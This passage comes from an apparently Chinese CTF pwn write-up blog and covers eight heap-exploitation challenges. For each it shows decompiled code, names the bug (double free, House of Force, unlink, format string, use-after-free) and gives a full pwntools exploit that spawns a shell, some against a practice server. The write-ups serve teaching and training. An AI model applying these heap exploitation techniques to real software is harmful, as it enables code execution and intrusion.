先分配一系列chunk,使其size加起来超过0x420,然后利用double free将chunk分配到chunk0处,修改chunk0的size位,这时free掉chunk0和chunk1,chunk0就不会进入tcache了,而是进入unsortbin中,然后我们分配0x78的大小,使得剩下的free chunk的fd指针刚好在chunk1的fd指针处,然后申请一块chunk,再申请相同大小chunk,就分配到了unsortbin的bins头处,就泄露出libc的基址了。

之后再利用double free修改 __malloc_hook 为one_gadget,即可getshell。

exp:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

io = process('./ciscn_final_3', env={"LD_PRELOAD":"./libc.so.6"})
libc = ELF('./libc.so.6')

def add(index, size, content):
    io.sendlineafter('> ', str(1))
    io.sendlineafter('index\n', str(index))
    io.sendlineafter('size\n', str(size))
    io.sendlineafter('something', content)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def delete(index):
    io.sendlineafter('> ', str(2))
    io.sendlineafter('index\n', str(index))

heap = add(0, 0x78, 'a')
add(1, 0x18, 'a')
add(2, 0x78, 'a')
add(3, 0x78, 'a')
add(4, 0x78, 'a')
add(5, 0x78, 'a')
add(6, 0x78, 'a')
add(7, 0x78, 'a')
add(8, 0x78, 'a')
add(9, 0x28, 'a')

delete(9)
delete(9)

add(10, 0x28, p64(heap - 0x10))
add(11, 0x28, p64(heap - 0x10))
add(12, 0x28, p64(0) + p64(0x421))

delete(0)
delete(1)

add(13, 0x78, 'a')
add(14, 0x18, 'a')
libc_base = add(15, 0x18, 'a') - 0x3ebca0
print('libc_base -> ' + hex(libc_base))

one_gadget = libc_base + 0x10a38c
malloc_hook = libc_base + libc.symbols['__malloc_hook']

delete(2)
delete(2)
add(16, 0x78, p64(malloc_hook))
add(17, 0x78, p64(malloc_hook))
add(18, 0x78, p64(one_gadget))

io.sendline('1')
io.sendline('22')

io.interactive()

 

0x13 gyctf_2020_force

只有分配chunk的功能,可以分配最多40个chunk,而且没有限制分配的大小,在进行输入时固定输入0x50个字符,也就是说我们分配较小空间时存在溢出。

unsigned __int64 add()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

存在溢出,不限制分配大小,加上题目名称,可以想到House of Force,通过修改top chunk的size位来实现任意地址分配。

首先我们要先想办法获取libc的基址,当我们申请一个极大Chunk时,程序会调用mmap进行内存分配,分配下来的地址之后就是是libc,虽然开启了PIE,但是偏移都是固定的,可以算出libc的基址。

有了libc的基址,由于开启了FULL RELRO,不能修改got表,那就将one_gadget写入 __malloc_hook ,但是这题栈上不满足one_gadget的条件,所以我们可以将one_gadget写入 __realloc_hook ,通过realloc来调整帧栈,使其满足条件。

首先我们来修改top chunk的size位,将其修改为最大值,然后算出偏移,抬高top chunk,再进行分配,将其分配到 __realloc_hook 附近,然后覆盖 __realloc_hook 的值为one_gadget,修改 __malloc_hook 的值为 realloc + 0x10 的值,借助realloc来调整帧栈,然后进行分配,调用__malloc_hook__malloc_hook 调用 realloc + 0x10 ,调用 __realloc_hook 就能够getshell了。

exp:

rom pwn import *

# context(log_level='debug', os='linux', arch='amd64')

io = process('./gyctf_2020_force',env={"LD_PRELOAD": "./libc-2.23.so"})
# io = remote('node3.buuoj.cn', 26073)
libc = ELF('./libc-2.23.so')


def add(size, content):
    io.sendlineafter('2:puts\n', str(1))
    io.sendlineafter('size\n', str(size))
    io.recvuntil('bin addr 0x')
    address = int(io.recv(12), 16)
    io.sendafter('content\n', content)
    return address

libc_base = add(0x200000, 'aaaa\n') +0x200ff0
print(hex(libc_base))
one_gadget = 0x4526a + libc_base
print('one_gadget -> ' + hex(one_gadget))

heap_addr = add(0x18, 'a' * 0x10 + p64(0) + p64(0xffffffffffffffff))
print(hex(heap_addr))

top_chunk = heap_addr + 0x10
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
realloc = libc.symbols["__libc_realloc"] + libc_base
offset = malloc_hook - top_chunk

add(offset - 0x33, 'content')

add(0x10, 'a' * 8 + p64(one_gadget) + p64(realloc + 0x10))
gdb.attach(io)
io.sendlineafter('2:puts\n', str(1))
io.sendlineafter('size\n', str(20))


io.interactive()

 

0x14 zctf2016_note2

还是菜单题,添加、修改、输出、删除四个功能。

先看看添加,限制了我们申请的大小,不能超过0x80,而且最多只能申请四个chunk,有存放chunk的数组指针ptr。

int add()
{
  unsigned int v1; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]
  void *size_4; // [rsp+8h] [rbp-8h]

  if ( (unsigned int)note_num > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = input_num();
  if ( size > 0x80 )
    return puts("Too long");
  size_4 = malloc(size);
  puts("Input the note content:");
  input((__int64)size_4, size, 10);
  sub_400B10(size_4);
  *(&ptr + (unsigned int)note_num) = size_4;
  array_size[note_num] = size;
  v1 = note_num++;
  return printf("note add success, the id is %d\n", v1);
}

这里使用了input函数来进行输入,我们来看看input函数,这里循环的判断条件为 length - 1 > i ,而i是无符号整数,也就是说如果我们申请时输入的大小为0,那么 0 - 1 = -1 ,转化成无符号整数与i比较,那么就意味着我们可以随意进行溢出。

unsigned __int64 __fastcall input(__int64 address, __int64 length, char enter)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; length - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == enter )
      break;
    *(_BYTE *)(i + address) = buf;
  }
  *(_BYTE *)(address + i) = 0;
  return i;
}

再来看看edit函数,这里提供了两种功能给我们进行选择,修改时可以覆盖原来的内容,也可以在原来的内容上进行添加。

unsigned __int64 sub_400D43()
{
  _BYTE *v0; // rbx
  int v2; // [rsp+8h] [rbp-E8h]
  int v3; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v5; // [rsp+18h] [rbp-D8h]
  char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
  void *v7; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v8; // [rsp+D8h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  if ( note_num )
  {
    puts("Input the id of the note:");
    v2 = input_num();
    if ( v2 >= 0 && v2 <= 3 )
    {
      src = (char *)*(&ptr + v2);
      v5 = array_size[v2];
      if ( src )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        v3 = input_num();
        if ( v3 == 1 || v3 == 2 )
        {
          if ( v3 == 1 )
            dest[0] = 0;
          else
            strcpy(dest, src);
          v7 = malloc(0xA0uLL);
          strcpy((char *)v7, "TheNewContents:");
          printf((const char *)v7);
          input((__int64)v7 + 15, 0x90LL, 10);
          sub_400B10((const char *)v7 + 15);
          v0 = v7;
          v0[v5 - strlen(dest) + 14] = 0;
          strncat(dest, (const char *)v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(src, dest);
          free(v7);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v8;
}

存在可利用的堆溢出,有全局数组指针,没开启RELRO保护,显然可以利用UNlink攻击。

通过申请size为0的chunk来进行溢出修改下一chunk的chunk头来达到UNlink的效果,然后修改atoi函数的got表,输入 /bin/sh getshell。

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

# io = process('./note2')
io = remote('node3.buuoj.cn', 29650)
elf = ELF('./note2')
libc = ELF('./libc-2.23.so')

io.sendlineafter('Input your name:\n', 'so4ms')
io.sendlineafter('Input your address:\n', 'SCU')

def add(size, content):
    io.sendlineafter('option--->>\n', str(1))
    io.sendlineafter('(less than 128)\n', str(size))
    io.sendlineafter('content:\n', content)

def display(index):
    io.sendlineafter('option--->>\n', str(2))
    io.sendlineafter('Input the id of the note:\n', str(index))

def edit(index, choice, conetnt):
    io.sendlineafter('option--->>\n', str(3))
    io.sendlineafter('Input the id of the note:\n', str(index))
    io.sendlineafter('[1.overwrite/2.append]\n', str(choice))
    io.sendlineafter('TheNewContents:', conetnt)

def delete(index):
    io.sendlineafter('option--->>\n', str(4))
    io.sendlineafter('Input the id of the note:\n', str(index))

heaparray = 0x602120
fd = heaparray - 0x18
bk = heaparray - 0x10
atoi_got = elf.got['atoi']

payload = p64(0) + p64(0x81) + p64(fd) + p64(bk)
add(0x60, payload) # 0
add(0, 'aaaa')  # 1
add(0x80, 'content') # 2

delete(1)
add(0, '\x00' * 0x10 + p64(0x80) + p64(0x90))

delete(2)

edit(0, 1, 'a' * 0x18 + p64(atoi_got))
display(0)
address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(address))

libc_base = address - libc.symbols['atoi']
system = libc_base + libc.symbols['system']

edit(0, 1, p64(system))

io.sendlineafter('option--->>\n', '/bin/sh\x00')\

io.interactive()

 

0x15 gyctf_2020_some_thing_interesting

进入main函数后,回显执行begin函数,读取输入,然后与 "OreOOrereOOreO" 前14个字符进行比较,需相等才能进入后面的代码。

char *begin()
{
  memset(s1, 0, 0x14uLL);
  puts("#######################");
  puts("#       Surprise      #");
  puts("#---------------------#");
  printf("> Input your code please:");
  read(0, s1, 0x13uLL);
  if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return s1;
}

随后进入菜单选择,选择0的话就会输出我们刚才输入的内容,存在格式化字符串漏洞,程序开启了PIE保护,我们可以利用格式化字符串漏洞来泄露libc的基址。

unsigned __int64 __fastcall sub_D3D(const char *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( dword_202010 )
  {
    puts("Now you are ....?");
    printf("# Your Code is ");
    printf(a1);
    putchar(10);
    puts("###############################################################################");
  }
  else
  {
    puts("Now you are Administrator!");
  }
  return __readfsqword(0x28u) ^ v2;
}

选择1进入add函数,会进行两次空间分配,然后分别利用两个数组存储地址,还有两个数组存储申请的大小。

unsigned __int64 add()
{
  int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Create Oreo     #");
  puts("#---------------------#");
  for ( index = 1; index <= 9 && chunk_array[index] && array_size[index] && array_re[index] && re_size[index]; ++index )
  {
    if ( index == 9 )
    {
      puts("#    so much Oreo!    #");
      puts("#######################");
      return __readfsqword(0x28u) ^ v2;
    }
  }
  printf("> O's length : ");
  _isoc99_scanf("%ld", &array_size[index]);
  if ( array_size[index] <= 0 || array_size[index] > 0x70 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    leave();
  }
  chunk_array[index] = (char *)malloc(array_size[index]);
  printf("> O : ");
  read(0, chunk_array[index], array_size[index]);
  printf("> RE's length : ");
  _isoc99_scanf("%ld", &re_size[index]);
  if ( re_size[index] <= 0 || re_size[index] > 112 )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    leave();
  }
  printf("> RE : ");
  array_re[index] = (char *)malloc(re_size[index]);
  read(0, array_re[index], re_size[index]);
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

edit函数进行编辑,display函数进行输出,很常规。

delete函数在free后没有进行置零,存在UAF漏洞。

unsigned __int64 sub_130A()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Delete Oreo     #");
  puts("#---------------------#");
  printf("> Oreo ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 10 || !chunk_array[v1] )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    leave();
  }
  free(chunk_array[v1]);
  free(array_re[v1]);
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

那么思路就很清晰了,利用格式化字符串漏洞泄露libc的基址,然后free掉我们申请的0x60大小的空间,然后对其进行编辑,将 __malloc_hook - 0x23 的地址进行输入,进行fastbin attack ,申请到这块空间后,在__malloc_hook 的位置输入one_gadget的地址即可。

exp:

from pwn import *

context.log_level = 'debug'

# io = process('./gyctf_2020_some_thing_interesting')
io = remote('node3.buuoj.cn', 29387)
elf = ELF('./gyctf_2020_some_thing_interesting')
libc = ELF('./libc-2.23.so')

malloc_hook = libc.symbols['__malloc_hook'] - 0x23


def add(len_O, content_O, len_RE, content_RE):
    io.sendlineafter('want to do :', str(1))
    io.sendlineafter('> O\'s length : ', str(len_O))
    io.sendlineafter('> O : ', content_O)
    io.sendlineafter('> RE\'s length : ', str(len_RE))
    io.sendlineafter('> RE : ', content_RE)

def edit(index, content_O, content_RE):
    io.sendlineafter('want to do :', str(2))
    io.sendlineafter('> Oreo ID : ', str(index))
    io.sendlineafter('> O : ', content_O)
    io.sendlineafter('> RE : ', content_RE)

def delete(index):
    io.sendlineafter('want to do :', str(3))
    io.sendlineafter('> Oreo ID : ', str(index))

def display(index):
    io.sendlineafter('want to do :', str(4))
    io.sendlineafter('> Oreo ID : ', str(index))

io.sendlineafter('> Input your code please:', 'OreOOrereOOreO%17$p')
io.sendlineafter('want to do :', str(0))
io.recvuntil('0x')
address = int(io.recv(12), 16) - 240
libc_base = address - libc.symbols['__libc_start_main']
print('libc_base -> ', hex(libc_base))
one_gadget = libc_base + 0xf1147

add(0x60, 'content_O', 0x60, 'content_RE') # 1

delete(1)

edit(1, p64(malloc_hook + libc_base), p64(malloc_hook + libc_base))

payload = 'a' * 0x13 + p64(one_gadget)
add(0x60, payload, 0x60, payload) # 2

io.sendlineafter('want to do :', str(1))
io.sendlineafter('> O\'s length : ', str(16))

io.interactive()

 

0x16 ciscn_2019_en_3

程序会先读取两次输入,分别输出,这里 _printf_chk(1LL, buf); 存在格式化字符串漏洞,原本是printf函数,但是开启了FORTIFY保护,会对我们的输入进行检查,避免了格式化字符串跳过某些参数(如直接%7$x)等方式来避免漏洞出现。

这里我是输入多个%p来泄露栈上的地址,没有注意到后面的puts函数也可以通过输入8个字节内容从而把后面的内容也给泄露出来。

unsigned __int64 run()
{
  int v1; // [rsp+Ch] [rbp-44h] BYREF
  char s[16]; // [rsp+10h] [rbp-40h] BYREF
  char buf[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Welcome to the story kingdom.");
  puts("What's your name?");
  read(0, buf, 0x20uLL);
  _printf_chk(1LL, buf);
  puts("Please input your ID.");
  read(0, s, 8uLL);
  puts(s);
  while ( 1 )
  {
    menu();
    _isoc99_scanf("%d", &v1);
    getchar();
    switch ( v1 )
    {
      case 1:
        add();
        break;
      case 2:
        fake_edit();
        break;
      case 3:
        fake_display();
        break;
      case 4:
        delete();                               // UAF
        break;
      case 5:
        puts("Goodbye~");
        exit(0);
      default:
        puts("Wrong choice!");
        return __readfsqword(0x28u) ^ v4;
    }
  }
}

后面还是菜单题,只有增加、删除两个功能,有chunk_array何array_size两个数组分别记录chunk的地址和大小。

unsigned __int64 add()
{
  int v0; // ebx
  int size; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num > 16 )
    puts("Enough!");
  puts("Please input the size of story: ");
  _isoc99_scanf("%d", &size);
  LODWORD(array_size[2 * chunk_num]) = size;
  v0 = chunk_num;
  chunk_array[2 * v0] = (char *)malloc(size);
  puts("please inpute the story: ");
  read(0, chunk_array[2 * chunk_num], size);
  ++chunk_num;
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

然后是delete函数,存在UAF漏洞,由于是libc-2.27,直接利用tcache来double free就可以了。

unsigned __int64 sub_D32()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  _isoc99_scanf("%d", &v1);
  free(*((void **)&chunk_array + 2 * v1));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

exp:

from pwn import *

context.log_level = 'debug'

# io = process('./ciscn_2019_en_3')
io = remote('node3.buuoj.cn', 27640)
elf = ELF('./ciscn_2019_en_3')
libc = ELF('./libc-2.27.so')

def add(size, content):
    io.sendlineafter('Input your choice:', str(1))
    io.sendlineafter('size of story: \n', str(size))
    io.sendlineafter('inpute the story: \n', content)

def delete(index):
    io.sendlineafter('Input your choice:', str(4))
    io.sendlineafter('input the index:\n', str(index))


io.sendlineafter('What\'s your name?\n', '%p.%p.%p.%p.%p')
io.recvuntil('500.0x')
address = int(io.recv(12), 16)
libc_base = address - libc.symbols['_IO_file_jumps']
print(hex(libc_base))

free_hook = libc.symbols['__free_hook'] + libc_base
system = libc_base + libc.symbols['system']
print(hex(system))
io.sendlineafter('Please input your ID.\n', 'aaaa')

add(0x60, 'aaaa') # 0
delete(0)
delete(0)
add(0x60, p64(free_hook))
add(0x60, '/bin/sh')
add(0x60, p64(system))

io.sendlineafter('Input your choice:', str(4))
io.sendlineafter('input the index:\n', str(1))

io.interactive()

 

0x17 picoctf_2018_are you root

程序有五个功能,查看登录状态、登录、设置权限等级、读取flag和退出登录。

int menu()
{
  puts("Available commands:");
  puts("\tshow - show your current user and authorization level");
  puts("\tlogin [name] - log in as [name]");
  puts("\tset-auth [level] - set your authorization level (must be below 5)");
  puts("\tget-flag - print the flag (requires authorization level 5)");
  puts("\treset - log out and reset authorization level");
  return puts("\tquit - exit the program");
}

先来看看登录功能,会先判断参数v5的值判断是否已经登录,v5的值为0的话会分配一块大小为0x10的空间,然后通过函数 strdup() 来分配一块空间存储我们刚才输入登录指令时跟上的用户名。

    else if ( !strncmp(s, "login", 5uLL) )
    {
      if ( v5 )
      {
        puts("Already logged in. Reset first.");
      }
      else
      {
        nptr = strtok(v9, "\n");
        if ( !nptr )
          goto LABEL_11;
        v5 = (char **)malloc(0x10uLL);
        if ( !v5 )
        {
          puts("malloc() returned NULL. Out of Memory\n");
          exit(-1);
        }
        *v5 = (char *)(int)strdup(nptr);
        printf("Logged in as \"%s\"\n", nptr);
      }
    }

设置等级时,限制了最大只能设置为4,而想要获取flag等级得等于5,而用户等级存储在 *((_DWORD *)v5 + 2) 处。

    else if ( !strncmp(s, "set-auth", 8uLL) )
    {
      if ( v5 )
      {
        nptra = strtok(v10, "\n");
        if ( nptra )
        {
          v4 = strtoul(nptra, 0LL, 10);
          if ( v4 <= 4 )
          {
            *((_DWORD *)v5 + 2) = v4;
            printf("Set authorization level to \"%u\"\n", v4);
          }
          else
          {
            puts("Can only set authorization level below 5");
          }
        }
        else
        {
LABEL_11:
          puts("Invalid command");
        }
      }
      else
      {
        puts("Login first.");
      }
    }

在退出登录的代码中,只会free掉函数 strdup() 分配的空间,然后将v5置零,没有将v5进行free。

    else if ( !strncmp(s, "reset", 5uLL) )
    {
      if ( v5 )
      {
        free(*v5);
        v5 = 0LL;
        puts("Logged out!");
      }
      else
      {
        puts("Not logged in!");
      }
    }

也就是说,当我们登录然后退出登录,重新登陆后,存储用户等级的那块空间就是之前函数 strdup() 分配的空间,且由于没有进行置零,会保留之前的值,我们就可以通过重新登陆来获取权限。

exp:

from pwn import *

# io = process('./PicoCTF_2018_are_you_root')
io = remote('node3.buuoj.cn', 25689)

def login(name):
    io.sendlineafter('> ', 'login ' + name)

def logout():
    io.sendlineafter('> ', 'reset')

def flag():
    io.sendlineafter('> ', 'get-flag')

login('aaaaaaaa' + p64(5))
logout()
login('so4ms')
flag()
io.interactive()

 

0x18 gyctf_2020_signin

这题逻辑不难,在add函数中,每次会固定申请0x70大小的空间,然后将返回的地址存储在数组ptrlist中,并将flags数组中对应下标的内容置为1,addcnt—,而addcnt初值为9,也就是说我们一共可以申请10次空间。

unsigned __int64 add()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx?");
  s[0] = 0LL;
  s[1] = 0LL;
  memset(s, 0, 0x10uLL);
  read(0, s, 0xFuLL);
  v1 = atoi((const char *)s);
  if ( addcnt >= 0 && v1 <= 0xF )
  {
    ptrlist[v1] = malloc(0x70uLL);
    flags[v1] = 1;
    --addcnt;
  }
  return __readfsqword(0x28u) ^ v3;
}

edit函数中,进行内容输入时,输入大小固定为0x50,不存在溢出,然后cnt—,而cnt位于bss段,也就是说cnt未初始化,初值默认为0,我们只有一次进行输入的机会。

unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-24h]
  __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( cnt >= 0 )
  {
    puts("idx?");
    s[0] = 0LL;
    s[1] = 0LL;
    memset(s, 0, 0x10uLL);
    read(0, s, 0xFuLL);
    v1 = atoi((const char *)s);
    read(0, (void *)ptrlist[v1], 0x50uLL);
    --cnt;
  }
  return __readfsqword(0x28u) ^ v3;
}

在delete函数中,将对应下标的chunk进行free,然后将flags数组对应下标置为0,也就是说存在UAF漏洞,但是我们不能通过tcache来进行double free了。

unsigned __int64 del()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx?");
  s[0] = 0LL;
  s[1] = 0LL;
  memset(s, 0, 0x10uLL);
  read(0, s, 0xFuLL);
  v1 = atoi((const char *)s);
  if ( v1 <= 0xF && flags[v1] == 1 )
  {
    free((void *)ptrlist[v1]);
    flags[v1] = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}

程序还存在一个后门函数,先使用calloc函数申请一块0x70的空间,然后判断参数ptr是否为空,不为空返回shell。

void __noreturn backdoor()
{
  calloc(1uLL, 0x70uLL);
  if ( ptr )
    system("/bin/sh");
  exit(0);
}

这题主要考察了calloc函数的机制,不会分配位于tcache中的chunk。

tcache有一个特性,在分配fastbins中的chunk时,如果fastbins中剩余的chunk,在tcache中对应大小的空间还有空间空间,会将其放入tcache中。

于是我们可以先分配8个空间,然后全部free掉,这样就会将tcache中0x80大小的空间填充满,且fastbins中还有一个chunk。

然后我们编辑位于fastbins中的那块chunk,将ptr-0x10的地址存入这块chunk的fd指针,就会将ptr-x10放入fastbins中,再分配一次空间,在tcache中腾出一个空位。然后调用后门函数,calloc会分配位于fastbins中的chunk,然后会将ptr的地址存入tcache中,且没有对他的size位进行检查。ptr存入tcache后,就会保存tcache链表中的下一块chunk,就不为空,满足条件返回shell。

exp:

from pwn import *

context.log_level = 'debug'

io = process('./gyctf_2020_signin')
# io = remote('node3.buuoj.cn', 29953)

def add(index):
    io.sendlineafter('choice?', '1')
    io.sendlineafter('idx?\n', str(index))

def edit(index, content):
    io.sendlineafter('choice?', '2')
    io.sendlineafter('idx?\n', str(index))
    io.sendline(content)

def delete(index):
    io.sendlineafter('choice?', '3')
    io.sendlineafter('idx?\n', str(index))

add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)

delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)

edit(7, p64(0x4040b0))
add(8)

io.sendlineafter('choice?', '6')
io.interactive()

 

0x19 bjdctf_2020_YDSneedGrirlfriend

简单的UAF。

add函数中,会先申请一块0x10的空间用来存储输出姓名的函数指针,以及申请的chunk的地址。

unsigned __int64 add_girlfriend()
{
  char *v0; // rbx
  int i; // [rsp+8h] [rbp-28h]
  int v3; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  if ( count <= 10 )
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( !girlfriendlist[i] )
      {
        girlfriendlist[i] = (char *)malloc(0x10uLL);
        if ( !girlfriendlist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_QWORD *)girlfriendlist[i] = print_girlfriend_name;
        printf("Her name size is :");
        read(0, buf, 8uLL);
        v3 = atoi(buf);
        v0 = girlfriendlist[i];
        *((_QWORD *)v0 + 1) = malloc(v3);
        if ( !*((_QWORD *)girlfriendlist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Her name is :");
        read(0, *((void **)girlfriendlist[i] + 1), v3);
        puts("Success !Wow YDS get a girlfriend!");
        ++count;
        return __readfsqword(0x28u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readfsqword(0x28u) ^ v5;
}

delete函数中,进行free后没有置零,存在UAF漏洞。

unsigned __int64 del_girlfriend()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( girlfriendlist[v1] )
    {
      free(*((void **)girlfriendlist[v1] + 1));
      free(girlfriendlist[v1]);
      puts("Success");
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

思路很简单,连续申请两块0x20的空间,然后依次free掉,然后申请一块0x10的空间,那么保存输入的chunk就会申请到chunk0的header,通过修改输出姓名的函数指针为后门函数指针,在输出chunk0时,就会触发后门函数。

exp:

from pwn import *

# io = process('./bjdctf_2020_YDSneedGrirlfriend')
io = remote('node3.buuoj.cn', 28243)

def add(size, content):
    io.sendlineafter('choice :', '1')
    io.sendlineafter('size is :', str(size))
    io.sendlineafter('name is :', content)

def delete(index):
    io.sendlineafter('choice :', '2')
    io.sendlineafter('Index :', str(index))

def display(index):
    io.sendlineafter('choice :', '3')
    io.sendlineafter('Index :', str(index))

add(0x20, 'content') # 0
add(0x20, 'content') # 1

delete(0)
delete(1)

add(0x10, p64(0x400b9c)) # 2
display(0)

io.interactive()
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多